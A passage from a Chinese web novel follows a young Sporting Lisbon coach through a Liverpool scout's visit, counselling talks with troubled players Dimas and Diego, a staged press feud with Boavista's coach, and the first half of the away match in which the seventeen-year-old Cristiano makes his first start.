那双冰蓝色的眼睛，眼底没有任何笑意。 队内赛只有半场时间，四十五分钟后，绿队以2：1的成绩取胜，这并不让人意外，绿队的队员整体实力更强，胜利理所应当，橘队球员甚至很高兴，揽着中锋姆博夸赞他的那一脚进球，角度刁钻，抽射的漂亮。 一群球员嘻嘻哈哈的朝更衣室走去，奎西蒙带着团队的医师和按摩师，也一起跟了过去。 一场球赛过后，何塞也看中了几个小妖，虽然没有克里斯蒂亚诺优秀，依旧具备投资潜能，顺势提出想去更衣室看一看的请求，在安东尼的应许下，朝更衣室跑去，脚步飞快。 一时间，球场边只剩下安东尼和霍利两人。 霍利侧头打量了安东尼几眼，表情若有所思，“我越看越觉得熟悉，我们之前见过面吗？” 或许是因为你见过我的父亲，在他用了不知名手段，帮我拿下利物浦助教合同，害你差点愤而出走球队的时候。 安东尼云淡风轻道：“我以前在利物浦大学上学，或许在街上碰见过。” “哦？你是体育学的学生吧？” “是的。” 利物浦大学的体育学非常知名，培养出不少优秀体坛人才，足球教练大部分都是球员出身，像安东尼这样高学历的科班生太少见了，霍利表情惊讶，问道：“那你怎么不来利物浦工作。” “我之前在曼联工作过。” 安东尼皮笑肉不笑道。 1895年，曼联和利物浦互相在对方球场轰出7：1和5：2成绩，两队成了百年死敌。 此话一出，霍利顿时沉默了，咳嗽两声，转移话题。 “我必须承认，在来这里之前我对何塞口中的天赋绝佳的孩子没什么期待，但那个叫克里斯蒂亚诺的孩子确实惊艳到我了。” 安东尼垂了下眼，“冬歇期之后，你可以和主席先生商量他的合约。” “合约？”霍利先是一愣，随后笑着摇头，“你误会了，我没打算签他。” “他太年轻了。” 霍利语气平淡，随着他开口，眼角显露出层层细纹，平静的目光下，是岁月沉淀后的睿智和冷漠。 “年轻，既是代表机遇，也代表不稳定。” “你可以雕琢他。” 安东尼说。 只要霍利肯花时间不断打磨，克里斯蒂亚诺这颗原石会绽放出惊世的光芒。 “不不不，”霍利抬起手，在安东尼的肩膀上轻轻拍了拍，“雕琢是小球队的教练才会做的事，豪门只需要买最好的就可以了。” “小球队为什么拼死拼活培养出优秀球员？又拿不到欧洲奖项，不就是为了卖给我们吗？总不能剥夺他们赚钱的机会。” 霍利的语气透着一种理所当然，这是属于豪门的傲慢，也是豪门的资本。 从一开始，他就没有看得起这支球队，看得起克里斯蒂亚诺和安东尼，因为他们都一样：太年轻了。 是如流星一般昙花一现，还是像钻石永恒闪烁，只有时间和成绩可以证明。 安东尼静静的看着他，冰蓝色的眼眸透不出任何情绪，却莫名的让人心脏一紧。 霍利慢慢的收敛起笑容，将手从安东尼的肩膀上抽了回来。 “失陪一下。” 安东尼收回目光，欠了欠身，动作如同英伦贵族，流畅优雅。 “我还有球员需要教育。” 他说。 13. 心理辅导 球员和教练的关系，就像是子弹和枪、支，教练负责装弹、上膛、瞄准、扣动扳机，而能否射中目标，取决于子弹。 如果球员不信任教练、不执行战术，那教练就毫无用处，这也是为什么顶级教练大多选择用绝对权威统治更衣室，只有让球员害怕自己，才能保证球场不出现意料之外的变动。 安东尼喜欢绝对权威，所以他绝不会用“恐惧”作为控制球员的锁链，有个人告诉过他，真诚才是必杀技，以心交心才能换取忠诚。 回到俱乐部大楼，安东尼找萨林医生询问了一下球员身体情况，确认无人受伤后，他前往更衣室，众目睽睽下，他叫走了迪马斯。 迪马斯是里竞青训营出身的本土球员，身体强壮高大，脚下技术粗糙了一些，但身为后卫，他在场上的每一分钟都在认真完成防守任务，在安东尼眼中，迪马斯没有什么大问题，性格稍微暴躁了一些，但这是很多球员的通病，不该成为他在球场上失控的借口。 安东尼把他带到办公室，关上门，转过头，被按在椅子上的迪马斯如坐针毡，安东尼却像是什么也没看见一样，笑着问：“你喜欢喝茶还是咖啡？” 迪马斯一愣，这和他想象中的实在不一样，他公然违背教练的战术，触犯他的权威，不仅没有厉声训斥威胁要把他赶走，反而还和颜悦色要给他提供饮品？ 这个世界还是真的吗？ 迪马斯神情恍惚，下意识滚了滚喉结，声音干涩道：“茶就好。” 安东尼给他和自己泡了杯绿茶，顺势在他对面坐了下来，双目凝视着局促的青年。 “和我聊一聊你自己吧，迪马斯。” “我？” “是的，你，”安东尼不紧不慢道，“你的生活，最近开心或者不开心的事，训练上的难处，只要是关于你的事，都可以和我说。” 迪马斯错开视线，语速飞快：“我最近过得很好。” 回避视线、收缩肩膀，还有僵硬的语气，安东尼不是心理学家，但一直有一个比心理学家还要敏锐的人存在于他的生活中，让他处理起青少年心理问题也是游刃有余。 他没有着急开口，手里捧着茶杯，指尖扣在杯壁上，有一搭没一搭的敲打，清脆响声在屋内回荡。 “你的女朋友还好吗？”安东尼问道，“听说她是个理疗师，你们一起开了一家运动器材店。” “你怎么.....” 迪马斯露出惊愕的神色，没有想到教练竟然会关注自己的私生活。 在安东尼鼓励的目光中，他抿了抿唇，缓缓开口，“卡西娅最近有些累，店里事情太多，我又不在身边，她只能自己处理。” “听起来她是个了不起的独立女孩。” “是的，”迪马斯眼神柔软了下来，很快又蒙上阴霾，“也不是，我们认识的时候她还是个无忧无虑的姑娘，但为了我，她才变成现在这样。” 安东尼摩挲着手里滚烫的茶杯，目光沉静，“这个店是你们的未来？” “是的，”迪马斯自嘲的笑了笑，“我注定不会成为球星，只能提前为退役做打算。” 安东尼没做声。 迪马斯红了眼眶，“您一定觉得我很可笑吧，明明球踢得一般，还自不量力的去打乱球队节奏。” “我没有这么想。”安东尼否认道。 迪马斯并不在意教练是否真心，他今年二十五岁，是一个球员状态最好的年纪，即使这样，这个赛季他也只出场了三次，每一次穿上那象征着失败和平庸的橘色球衣，他心中的压力就更重一分。 愤怒、抑郁、不甘、痛苦、麻木......繁复的情绪几乎要将他压垮了，他努力练球、拼命追赶队友，承受着身体伤病和心理压力的双重折磨，可这一切都是为了什么？为了每周一千英镑的工资？为了给那些天才做垫脚石？ 那些错失球的画面浮现在脑海，如潮水般汹涌，迪马斯痛苦的闭上眼，额角青筋鼓胀，顺着耳后一路蔓延到衣领下的脖颈处。 安东尼放下杯子，静静地看着青年，听着他压抑的啜泣，没有说话。 过了一会儿，啜泣声渐渐平息，安东尼缓缓开口。 “感觉好一些了吗？”他问。 “好多了。” 迪马斯抿了抿唇，声音沙哑，“抱歉，我失态了，您找我是为了球场上的事，我却.....” “迪马斯，”安东尼打断了他的话，“我们说好了聊你的事情，没有说要聊球场。” “......谢谢您教练。” 迪马斯沉默了一会儿，小声道。 这句感谢好像是打破了某种枷锁，迪马斯打开了话匣子。 他说：“我很抱歉之前的行为，是我太自私了，球队在比赛前需要训练战术，哪怕是做一把磨刀石，也是在为球队付出，我不该冲动的，我很抱歉铲飞克里斯，他是个好孩子。” “这话你可自己和他说，”安东尼俯下身，将放凉的茶放进他的手心里，语气淡淡，“还有，橘队不是磨刀石，我从没有让任何一支队伍当磨刀石。” 迪马斯露出惊讶地神色。 “很不可思议？”安东尼挑眉，“绿队和橘队，强者和弱者，进攻和防守，你们都认为这场比赛的输赢早就注定了，其实每一个位置的人选都是经过精心策划的，最适合防守反攻的战术人选，考虑到萨.平托缺席绿队，我今天更倾向是橘队赢。” “您是说按照战术执行的话，我们本该能赢？” 迪马斯喃喃，不敢相信自己听见了什么。 “大概率会赢，”安东尼语气轻描淡写，“教练不是上帝，球场没有什么事会是绝对的。” 就像他也没料到球员会在赛前出现心理问题，安东尼承认自己失职了，他在球场上很生气，不是因为气球员越轨不听赛前指挥，是在气自己没有及时察觉到球员的变化。 必须更关注这些球员才行，安东尼心想。 “谢谢，”迪马斯这次是百分百的真心实意，“谢谢您的倾听，谢谢您告诉我橘色球衣不是必然的输家。” “不客气。” 安东尼站起身，越过对方伸来的手掌，将迪马斯揽进怀里，在他后背上轻轻拍了拍。 他温声道：“如果有需要，随时来我的办公室交流。” 炙热的体温隔着球衣传到身体里，迪马斯吸了吸发酸的鼻尖，若无其事道：“我想我偶尔会来的。” “还有......‘’迪马斯犹豫了一会儿，在安东尼询问的目光中摇摇头，“没什么。” 安东尼送走了迪马斯，坐在办公桌前梳理下周的大名单。 他闭上眼，在脑中回忆今天比赛的细节，笔尖有一下没一下敲打着桌面，一张写满了名字的纸铺在他面前，安东尼睁开眼，目光在一个名字上流连。 “咚咚。” 有人敲响了办公室的大门，安东尼动作一顿，站起身，打开门，一个熟悉的脸映入眼帘。 门外正是里竞的队长——迭戈。 安东尼并不意外，抬手将翻折的白衬衫袖口重新抹平，拿起衣架上的西装，穿在身上，动作有条不紊。 他问：“和我散散步？” 迭戈点点头，没说话。 离开俱乐部大楼，两人向后山走去，肩并肩漫步在林间小路，周围一片静谧。 时间一晃即将步入十月，脚下吱吱作响的落叶，让安东尼想到了在洛杉矶的秋天，离公寓几个街区外的篮球场是个打野球的好去处，每当休息日的早晨，安东尼都会和街头的青年打上几轮，回忆在役的时光。 那段时光不算美好，身高一米九的黄种人在篮球界平平无奇，不管安东尼多么努力锻炼，在别人眼中，他也只是个发挥稳定、从不犯错的“救火”选手，留在NBA球队不是问题，但够不上顶级球员的资格。 偏偏安东尼难以忍受屈于人下的滋味。 “你和我很像，迭戈。” 安东尼忽然开口。 迭戈一愣，继而露出一个笑容，“听上去是个好事儿。” “不，”安东尼不紧不慢开口道：“这说明我们都是被上帝戏弄的人。” 迭戈垂在身侧的手猛然颤抖起来。 “有天赋，却不够多；有野心，但过于多了些。” 安东尼侧过身，视线自他苍白的脸，一路扫到他抖动的指尖，目光顿了顿，很快收了回来。 他缓缓开口：“我很高兴你能用脑子踢球，一个有智慧的中场，可以帮助队伍组织进攻和后退的节奏，这远比截断对方进攻更 重要，可惜现在大部分人还没有意识到这一点。” “谢谢您的夸奖教练，”迭戈沉默了一会儿，吐出一口气，自嘲道，“也不知道等他们意识到这一点，愿意给我机会的时候，我还能不能踢得动球。” 二十七岁的迭戈，已经没有时间等到新时代的到来了。 安东尼停下脚步。 迭戈和他只有半步距离，脚下一晃，差点撞上他的肩膀，好在及时刹车，鼻尖擦过外套，很快直起身。 即使速度很快，那股奇妙的柔软的触感仍然在鼻尖挥之不去，教练身上的气息萦绕在身侧，不像迭戈闻过的任何一种香水，如一道穿过雨林和雾霭的光，清冽、温暖、沉稳、透着让人安心的味道。 迭戈有一瞬走神，因此没有看到安东尼的投向他的目光，耳边传来磁性的声音，像是深沉的叹息。 “我愿意给你机会，迭戈。” “什么？” 迭戈回过神，猛地抬起头，有些不敢置信。 安东尼面不改色，“之前你一直踢得前锋的位置，但你弹跳力不够，不擅长争顶，带球过人也不够灵活，所以经常没有打门就失了球权，但我发现你的传球非常稳，据我统计，你的短传成功率是96%，长传成功率也有91%，在职业球员里也是非常亮眼的数据了。” “.....您从哪得出的数据？” 迭戈喉结滚动，轻声问道。 “从去年开始的最近五十场，”安东尼笑了下，“我亲自算的，你应该不需要怀疑准确性。” “是的。” 迭戈点点头，目光专注的看向安东尼，期待他的未尽之言。 “这场比赛，我想让你去做中场，在左路指挥球队节奏。” 安东尼沉声道。 话音刚落，迭戈的眼睛瞬间亮了起来。 “如果没有今天发生的事情的话。” 安东尼补充完剩下的话。 一瞬间，迭戈眼里的光飞速暗了下去。 “除非.....” 安东尼还没说内容，迭戈已经上前了一步，抓过他的胳膊，死死捏紧，仿佛握着最后一根救命稻草，指尖因用力而发白。 他呼吸急促，飞快说道：“什么都可以，我什么都答应，什么都能做！” “不需要你做什么。” 安东尼盯着他的眼睛，一字一句道：“以后，绝不允许出现今天的情况。” “绝不会，”迭戈咽了下口水，“我发誓！” 今天迪马斯为什么会失控，是谁授意他、刺激他，两人都是心知肚明，为了给迭戈留个体面，安东尼没有说破一切，静静地看着迭戈的脸，像是在确认他的真心。 过了一会儿，安东尼收回视线。 他从西装裤兜里掏出一张折叠的纸，夹在指尖，向前伸去，指尖一松。 迭戈一愣，赶紧松开双手，捧起这张纸。 “这是比赛名单，奎西蒙还在训练室没有走，你把名单交给他。” 迭戈快速点了点头。 一向沉稳的青年，此刻眼里难掩兴奋，表情认真，像是挖到了至宝一样开心。 纯粹的喜悦也感染了安东尼，他的眼底浮现出淡淡笑意，忍不住开口逗弄了一句。 “绝不许偷看，我的队长。” “嗯，不偷看。” 迭戈神色坚定的说。 安东尼没忍住，唇角微微上扬。 该说的话也说完了，两人一起往回走，随意的闲聊两句，气氛和谐。 直到岔路口，一人回俱乐部大楼，一人去停车场，彼此分开。 迭戈朝他挥手说了声再见，安东尼也笑着挥了挥手，心情不错，转身离开，撞见了一个熟悉的身影。 对方站在原地，目光直勾勾看向他，不知道看了多久。 安东尼顿时浑身一僵。 克里斯蒂亚诺眼眶微红，下午球赛被球鞋划伤了一层皮，应该是刚刚上过药，小腿裹着纱布，见到他的那一刻，立刻板紧了脸，语气生硬道了一声“教练好”。 说完，他转身离开，脚步一瘸一拐，背影却透出一股独行侠的决绝。 安东尼：“......” 看来心理辅导的路还很漫长，他心想。 14. 背水一战 决定好大名单，安东尼让奎西蒙给每个首发球员都制定了一份特别训练项目，确保在不受伤的前提下，提高所有人的脚下技能。 除此之外，快攻快守配合高位压迫战术想要成功，爆发力和持久力是先决条件，结合后世的训练方法，安东尼做出一份魔鬼体能训练计划，虐的所有球员生不如死，累到干呕的比比皆是。 经此一战，安东尼多了一个“榨汁机”的外号，即不遗余力榨干球员最后一滴汗水。 凭借人格魅力，此外号出现的第一天，安东尼就得到了好几个人的告密，但外国人取的外号杀伤力实在太低，安东尼毫无感觉，反而是体育报纸上的内容更让他感兴趣。 他们下一场的对手博阿维斯塔的主教练海梅·帕切科，在多个记者采访中都提及了他的名字，并扬言：“那个英国小孩儿根本不知道自己在做什么，里竞会毁在他的手里。” 赛前打心理战？ 来自NBA大联盟的安东尼对此再熟悉不过了。 出言挑衅无非是想让他恼羞成怒，继而做出不理智的决策，问题是，帕切科期待他做什么呢？ 顺着对方的期待，安东尼迅速联络记者，发表了一番“恼羞成怒”的宣言，“博阿维斯塔不足为虑，帕切科是个白发小丑，里竞必胜！” 走进新闻发布厅之前，安东尼给父母发短信，告知自己“不绅士”用语的行为，并保证自己会在赛后给该教练道歉，得到两人原谅后，松了口气。 做绅士真的好累。 第二天，《球报》最上方的体育板块送来了最新的骂战。 帕切科：“斯图亚特是个任性的小鬼，里竞的比赛成绩一塌糊涂都是拜他固执己见使用奇怪战术所赐！球门大开像是求人踢进去一样，一点都不懂防守。我要是里竞的球迷，要么期盼他尽早下课，要么就去求欧足联更改规则，给门前配两个守门员！” 这一次，对方显然也是被他的毒舌气极了，噼里啪啦抨击了一长串。 安东尼从中提炼出了有用信息：一点不懂防守。 所以帕切科是在用语言诱导他打防守战？ 安东尼沉思了一会儿，发现竟然真的没有其他深意，顿感茫然。 心理战？就这？ 安东尼放下报纸，忽略心中的一点失望遗憾，联系了一轮新记者，“愤愤不平”道：“我的战术课成绩一直都是A，不信就走着瞧，看看我的防守战术有多优秀！” 此后几天，安东尼和帕切科的口水战还在继续，该行为得到十几名记者的点赞，各版报纸的火爆程度大幅上升，都在期待新的骂战。 安东尼没有享受打嘴仗的恶趣味，他是想给球员心里添一把火。 连续几日的高强度训练，一反面是提升球员战斗力，一方面也是增加集体凝聚力。 想要发挥出强攻战术的潜能，球员的激情也是必不可少的因素，提升了凝聚力的里竞球员眼看着自己的教练和球队被谩骂，心里火气越发旺盛。 安东尼要用的就是这把火，将博阿维斯塔彻底燃尽，向整个葡萄牙宣布——里竞是这个赛季的冠军之师！ 比赛前夜，位于波尔图和里斯本的两家俱乐部，会议室灯火通明，面前循环播放着足球赛事，直至深夜。 第二天，安东尼早早赶来俱乐部，坐上球队大巴前往波尔图市，CD达斯阿维斯球场。 博阿维斯塔足球俱乐部，创始于1903年，主场CD达斯阿维斯球场，是个只能能容纳8560人观赛的小球场，和里竞能容纳52000多人的阿尔瓦拉德球场相比，简直是茅草房和大别墅的区别。 换做以前，弱小且贫穷的博阿维斯塔和豪门对战甚至不会引起半个水花，但情况从去年开始发生了变化。 去年，博阿维斯塔打破了三家豪门蝉联一百年联赛冠军的记录，成为一匹崭新的夺冠黑马。它不再是只以标志性黑白格衫球衣闻名,被称为“拥有怪异球衣”的球队了，而是以弱胜强的励志代表！ 可惜的是，信心满满想要结束豪门垄断时代的博阿维斯塔在本赛季表现不佳，以11分的成绩，位列联赛第五的位置，紧追在身后的六七八名，积分都是10分，如果博阿维斯塔输给里竞，就会直接滑到中位，难以翻身。 同样，里斯本竞技这边要是再拿不下一场胜利的三分，身后两分之差的本菲卡就会趁机而上。 这场比赛对两队而言，都是背水一战，必须要赢！ CD达斯阿维斯球场主队更衣室，气氛略显沉重。 本赛季，对阵豪门波尔图主客场分别以0：3和1：4的成绩惨败，博阿维斯塔的球员对战胜里斯本竞技并不抱希望，可主教练帕切科却信心满满，不停地鼓励着他们。 “孩子们，里竞的比赛视频我们不都看过了吗？主教练的指挥简直是一塌糊涂，尤其是他的战术安排，真是到了一种匪夷所思的境界，明明球员可以防守，他却执着于保持队形，可见他是激进的进攻派！” “所以那个魅魔教练会用进攻战术？” 一个喜欢看本地报纸的球员问道。 “不不不，”帕切科笑容得意，“在我的心理战下，英国小子已经彻底恼羞成怒，为了证明自己会使用防守战术，他一定不会上来就强攻，我推测他会延续里竞之前的战术，用4-4-2阵型。” “4-4-2阵型虽然利于防守，但我们经常和这个阵型的对手交手，经验十足，尤其是里斯本竞技的后防线脆弱的一塌糊涂，只要在上半场，甚至是前二十分钟，我们激烈进攻，拿下一个球，对方的心理防线一定会爆炸，猛攻的机会就来啦。” “万一......”有人又开口了。 “就算，就算是对方打强攻战！”帕切科舔了舔干涩嘴唇，“我们两个中场盯住他们的进攻主力，后防压上前，骚扰断球，把他们进攻的渠道全都封死，这样防守和进攻两边都是漏洞，我们进球更轻松。” 教练的一顿分析有理有据，帮球员们找回了自信，脸上重新露出笑容。 帕切科：“我们生于弱旅，是港口边一家小小的俱乐部，从丙级联赛开始摸爬滚打，这一百年间，波尔图没有人知道我们的名字，大家说起我们，都是不屑、嘲笑，可去年我们做了什么？” 球员们一个个脸红脖子粗，大声吼道：“我们拿下了冠军！” “是的，在所有人不可置信的目光下，我们斩杀了三个豪门，让整个葡萄牙记住了我们的名字——我们是永不放弃的博阿维斯塔！” 帕切科声音已经变得沙哑了，精神却是前所未有的兴奋。 他喊道：“今天我们要做什么？” “打败里斯本竞技！” “进球！进球！进球！” 更衣室内，博尔维斯塔的声音汇聚在一起，构成一场宏伟的战歌。 他们相信：在这个奇迹的球场，斩杀里斯本竞技，会是献祭给球迷的最好的礼物。 * 客场更衣室，比赛前十五分钟，安东尼拿到了博尔维斯塔的首发名单，和他预料的一样，对面摆出的是4-3-3进攻阵型，他将名单宣读了一遍，球员们彼此露出心照不宣的表情。 “多余的话我就不多说了，这场比赛的意义你们比我清楚，”安东尼说，“八千多个座位，作为客场球队，我们获得了两千张门票，这两千多张在上周就一售而空。” “哪怕是连续的失败，我们的球迷依旧愿意来到这里支持我们，这份纯粹的爱意，希望在这里的你们每一个人都能不辜负它。” 安东尼的目光扫过每一个人的脸，个个斗志昂扬，眼里写满了战意。 “战士们，现在我只有一个要求。” “给我进球。” 他命令道。 CD达斯阿维斯球场虽然小，小也有它的好处，观众席和球场之间的距离更近，让人有种陷入球场的沉浸式体验。 当安东尼踏上球员通道，前方传来铺天盖地的欢呼声，人海如潮。 走出通道，安东尼看见自己的身影出现在现场的大屏幕上，同一时刻，葡萄牙体育新闻台也出现了他的脸庞。 那是一张骨相和皮相皆为完美的脸——眉骨高耸，鼻梁笔直，下颌线分明。 他双手垂在身侧，碳灰法兰绒的西装透出沉静的绒光，戗驳领的线条勾勒出凌冽的肩线，银灰丝质领带打着温莎结，恰好抵住喉结下方的凹处。 整个人像被一柄无形的尺规量过——脊椎笔直，下颌微收，黑棕色的大背头在逆光里泛着冷调的琥珀色，一丝不乱。 一时间，新闻播报厅里沉静无声。 “咳咳，刚刚说到哪了，哦，这位年轻的主帅今天依旧没有用防守阵容，看来帕切科的激将法没有奏效。” 解说员语速飞快。 “另外这场比赛球员安排有很多出乎我们意料的地方，场上热身的28号球员，是本赛季才出现的17岁小将克里斯蒂亚诺，这是他人生中的第一次首发，他替代了队长迭戈的位置——左边锋，队长迭戈则是挪到了中场偏后的位置，阵型和传统4-3-3还是有差异的。” “我们都知道，斯图亚特很喜欢摆弄战术阵型，但前几次比赛结果都以失败告终，不知道今天在博尔维斯塔的主场，他能否打破失败魔咒，让我们一起来期待吧！” 安东尼走到球队的观战席，两手插兜，双目凝视着球场，神色平静如水，这让想根据他的表情猜测球队状态的人感到格外失望。 十米之隔外，失望的还有博尔维斯塔主教练帕切科。 想到自己被这个英国小鬼戏耍了好几天，帕切科就恨得咬牙切齿，身旁传来不合时宜的弱弱声音，“教练，我们还要继续之前的战术吗？” “对，就那么踢！”帕切科心中堵着一团气，恶狠狠道：“给我拦截住他们的进攻手。” “拦截哪个？” 球员不知所措，他们本来预估是有两个主攻手，可此时场上却有三个。 “那个罗伯特和阿尔贝托，”帕切科随意的挥了挥手，“28号的菜鸟不用管他，连首发都没有过，量他也翻不出什么水花。” 很快，主裁判走进赛场，吹响哨声。 伴随看台万千球迷的欢呼声，球赛开始了！ 15. 豪门vs黑马（上） 比赛开始五分钟，里斯本竞技就打出了自己的节奏，迭戈没把球送给前锋，而是不停横传或后传，几脚倒球，精准干净，愣是没给对面控球的机会。 安东尼看到这一幕，暗暗勾了勾唇角。 要聪明的踢球这句话，迭戈记在心里了。 没一会儿，博尔维斯塔的节奏就被搅乱了，几个中场拼抢的速度更快，手上推搡的幅度变大，显露出凶狠的攻势。 主教练帕切科刚坐下没多久，球场突然地变化出乎他意料，他蹭的一下站起身，在白线边高升呼喊，示意球员放慢节奏。 可就是他喊破了喉咙，球场上已经乱掉的节奏不是一时半会儿能缓回来的，另一边，安东尼悄悄伸出手，在胸前比了个手势，让球员赶紧向前场压去，留心机会。 随着绿色军团蓄势而发，场上局面一下子紧张起来。 “博尔维斯塔前锋席尔瓦接到传球，他正在带球突破，速度很快、非常快.....他晃过了里竞后卫鲁伊，哎呀，他摔倒了！” “罗伯特从他身后冲出来了，他拿到球，正在飞速回撤，博尔维斯塔的后卫保罗冲了过来，罗伯特伸脚了，他是想穿裆还是右撤？不，都不是，他做了个假动作，真正触球的是他的左脚，他传球了！传给了里竞的中场佩德罗，他是什么时候在那儿的。” 解说有一瞬间懵了，但专业素养让他的嘴巴依旧不停输出，“佩德罗的位置非常靠前了，他面前只有两个后卫，这个射门角度有点刁钻，果然他没射门，回传给中锋保罗，这里应该还会倒几脚球.....保罗传给迭戈，迭戈接到球，他传...向前冲了！打门！打门了！” 里竞几次三番不安常理出牌，害得解说差点咬了舌头，见到迭戈抬腿抽射，干净利落的劲儿，情绪瞬间激动了。 “球向球门左上角飞去，真的非常惊险，好在博尔维斯塔的门将里卡多将球扑了出去。” 解说松了口气，继续道：“不愧是葡萄牙的国门，反应速度还是非常快的，迭戈这一球非常刁钻，但还是差了点运气，真的可惜了。” 这球没进，里斯本竞技的球员并不气馁，传球的保罗跑过去拍了下迭戈的肩膀，用行动安慰后，迅速退回原位，迭戈回抱了一下队友，目光穿过球场，落在那道挺拔的身影上。 见到安东尼抬手鼓掌，迭戈紧绷的脸这才露出笑容，甩掉汗水，注意力重新投向足球。 刚刚那一球虽然没有成功射门，但显然让博阿维斯塔非常忌惮，对方的中场不敢上前，后防的几人面面相觑，也玩起了倒脚控球。 安东尼看不懂他们这么做的目的，博阿维斯塔的控球不够流畅，远达不到他的球员的水准，漏洞百出反而容易出错。 这个时候，教练的临场反应就应该是制止。 他偏过头，不远处的帕切科和他一样站在白线内，一身黑色运动西装，双臂环胸。 见到自家球员倒脚控球的场景，竟然还点了点头，神色骄傲自豪。 看台边的球迷喊了几句话，下一秒，帕切科朝他的方向扭头看过来。 几架摄像机调转方向，黑黝黝的镜头对准两人，一左一右，各自为王的两个教练位于镜头中央，背后是泾渭分明的两队球迷，构图堪比世界名画。 电视机前的观众顿时屏住呼吸，目光专注看着两人。 帕切科率先动了，下巴微微抬起，上扬的嘴角，透出几分轻蔑，没等安东尼做出反应，抬手做出一个抹脖子的动作，挑衅意味十足。 身后的球迷瞬间炸了锅，口哨声此起彼伏，叫嚣谩骂，声声入耳。 安东尼顿了顿。 他的眼睫轻颤了两下，长睫投下的阴影恰好遮住了眼底的情绪，很快收回视线。 “博阿维斯塔的球员正在向里竞的球场靠近，中场弗雷绍直接一记长传！球飞出去了有三十米远，前锋席尔瓦正在接近，他即将拿球，有人比他更快！是里竞的克里斯蒂亚诺！他拿到球了，场上似乎也没有人注意到他的出现，他开始带球回撤，中场的弗雷绍铲了一脚，克里斯蒂亚诺倒地了，主裁判没有举牌，比赛继续。” 解说员表情有些可惜，这个孩子长得好看，跑起来迅捷如风，心里还是很期待能看见他射门的英姿的。 他歇了口气，本以为要轮到弗雷绍带球向里竞进攻，结果场上却和臆想中的不一样，克里斯蒂亚诺没有放弃，倒地的同时，他猛地抬起左脚用力一踹，将球捅到十几米外中场罗德里戈脚下，罗德里戈立刻转身，带球奔跑，球衣衣角在风中欶欶飞扬。 拼命接力的画面，让不少球迷都感到了动容。 解说激动地拍了下桌子，“博阿维斯塔的三名后卫正在向罗德里戈逼近，前方几乎没有空间，罗德里戈要怎么处理这一球？他会选择带球突破，还是传球？迭戈突然出现在他的斜前方，这是一个传球的好机会。” 同样这么想的还有博阿维斯塔的球员，几个后卫犹豫了一下，鲁伊当机立断改变方向，朝迭戈奔去，牵制他的动线。 罗德里戈面前少了一个后卫，压力骤减，深吸一口气，向前冲去，两个后卫立刻伸脚捅球，在几只脚汇合的地方，足球却被罗德里戈的后脚跟推起，在空中划出一道弧线，一个飞奔的身影刚好跑到几米外球落地的位置，脚步不停，带球飞奔！ “god！是克里斯蒂亚诺，他站起来了！” 画面上一闪而过的28号，让所有人都振奋了，看台上，球迷一个个抻头看向球门。 安东尼眯起眼，冰蓝色眼眸专注的盯着那道风一样的灵活身影。 左路的两个后卫见球门前无人防守，飞速后撤，迭戈紧跟其后，中场前锋都在拼命奔跑，一时间黑白色和白绿色汇聚在球门前。 弗雷绍梅开二度，一记飞铲，目标直指克里斯蒂亚诺，青年倒在地上，脑袋狠狠一顶，将球顶飞去左路，阿尔贝托早就在那儿等着了，见状猛的一跃，力压席尔瓦，使劲向左甩头。 一记强有力的头球，没有任何弧度，直直飞向球门，擦过里卡多的手套，白色球网如水花绽开！ “GOAL！！！” 解说激动的挥舞起拳头。 “非常漂亮的一次进攻，在比赛的第十八分钟，由里竞前锋阿尔贝托贡献出的第一粒进球，助攻来自28号左边锋克里斯蒂亚诺的头球，我必须说，这一球能成功，这位17岁的小将坚持和执着占了大半，他功不可没！” 镜头画面不断变化，解说的笑容顿时变得玩味起来，“显然我们的小将第一次助攻非常激动，他的眼眶已经红了，里竞的球员显然也很喜欢他，不少人跑来拥抱他，帮他擦眼泪。” 克里斯蒂亚诺挥拒了一双双按在他脸上的大手，自己搓了下眼睛，抬起头，恰好对上了一张熟悉的脸。 自己什么时候跑到观众席边上了？ 克里斯蒂亚诺不解， 但对上安东尼充斥着笑意的目光，也没有急着跑开，看着男人张开嘴，缓慢地做出一个嘴型：“做得好。” 仿佛听见了对方低沉磁性的声音穿透耳膜，克里斯蒂亚诺挠了挠发热的耳尖，随意朝那边挥了挥手，如一只灵动的小鹿，迈着轻快的步伐跑开了。 虽然进了一球，比赛却是刚刚开始。 失去了先机，博阿维斯塔的球员变得更加激进，拼抢、截断、回追，秉着一股不怕死的精神，在球场上卖力的挥洒汗水。 上半场第四十分钟，博阿维斯塔累计铲断了24次里竞的带球突破，反攻17次，正射2次，长时间的奔袭，让所有人的体力都亮起红灯。 被铲断的最多的还是克里斯蒂亚诺，初次上场的兴奋，再加上他本身的性格使然，少年更喜欢自己带球过人，脚下花活不断，是最佳的铲断目标，14次被铲，克里斯蒂亚诺在球场打滚的画面深入人心，白绿球衣灰扑扑的都是泥，彻底融为球场的一份子。 多亏他有他在前吸仇恨，盯守阿尔贝托和罗伯特的后卫球员发生动摇，在主教练帕切科的示意下，开始限制克里斯蒂亚诺的活动。 这个举动，恰恰中了安东尼的下怀。 他悄悄抬手，指尖在空中比划了一个流动的手势，导播室里的解说捕捉到这个画面，但看不懂，一本正经道：“里竞的主教练斯图亚特有了新的指示，离半场结束还有五分钟，看来他们是要拿出杀手锏了。” 倒是被他猜对了，场上的里竞队开始了动作。 正在中场遛弯的迭戈忽然猛地加速，前插上右路，与此同时，后卫佩德罗狠狠一捅，从右边路贴着白线将球送到迭戈身前，迭戈在禁区外二十米位置得球，三个后卫立刻围上来，但迭戈却没有任何害怕的意思。 只见他左脚尖点地，以左腿为重心，猛地抬起右腿，对着足球偏左的低点射了出去。 足球如一颗炮弹，划破空气，迅速飞向中路，门将里卡多顿时紧张进来，望着球来的方向猛地一跃！ 可那球却没有飞向球门，在空中拐了一道弯，落向球门左侧。 不好！ 里卡多瞳孔一缩，重重摔在地上，猛地回头。 左路，两道身影一前一后交织奔跑，罗伯特猛地一跃，胸口停球，在对方后卫冲上来之前，将球横穿给阿尔贝托，对方脚步不停，右腿高抬，脚尖划过草皮射向足球，绿色草皮因大力而掀开，泥土四处飞溅，落在阿尔贝托的球衣上，他却没在意，眼睛一眨不眨盯着空中腾飞的足球。 在成千上万双眼睛的注视下，黑白足球自空中斜向下坠落，砸进球门。 沸腾的欢呼声和尖利的哨声同步响起。 “GOAL!！！” 演播室里的解说激动地不能自已，“上半场结束前，里竞打出了一记压哨球！” “这是一场有预谋的攻击，球员配合流畅，迭戈的长传堪称精妙，骗了所有人，里竞的两个前锋一传一射动作干净利落，门将里卡多甚至来不及站起来，此刻他正跪地咆哮，不知道有多气愤。” 